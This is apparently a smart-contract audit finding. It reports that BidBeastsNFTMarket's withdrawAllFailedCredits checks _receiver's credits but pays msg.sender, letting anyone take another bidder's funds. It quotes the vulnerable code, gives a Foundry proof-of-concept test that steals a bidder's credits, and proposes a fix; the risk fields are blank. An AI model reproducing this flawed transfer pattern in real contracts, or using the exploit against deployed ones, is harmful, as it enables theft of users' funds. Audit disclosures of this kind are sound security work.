Root + Impact
Description
-
Due to inconsistency, in BidBeastsNFTMarket::withdrawAllFailedCredits the funds are sent to the wrong address.
-
It is checked to see if the _receiver address has any failed credits. But then, mistakenly the fund is sent to msg.sender.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
Add the following function to the test file and run it.
function test_stealBidderFunds() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 100 ether);
vm.startPrank(address(rejector));
market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
vm.stopPrank();
vm.startPrank(BIDDER_1);
market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);
vm.stopPrank();
vm.prank(BIDDER_2);
uint256 balanceBefore = BIDDER_2.balance;
market.withdrawAllFailedCredits(address(rejector));
uint256 balanceAfter = BIDDER_2.balance;
assert(balanceAfter > balanceBefore);
}
Recommended Mitigation
Replace msg.sender cases with _receiver to send the funds to the correct receiver.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
// @audit Misshandling of ETH - msg.sender is used instead of _receiver
// This allows anyone to withdraw someone else's credits to their own address.
// Should be:
// failedTransferCredits[_receiver] = 0; // and
// (bool success, ) = payable(_receiver).call{value: amount}("");
- failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ failedTransferCredits[_receiver] = 0;
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}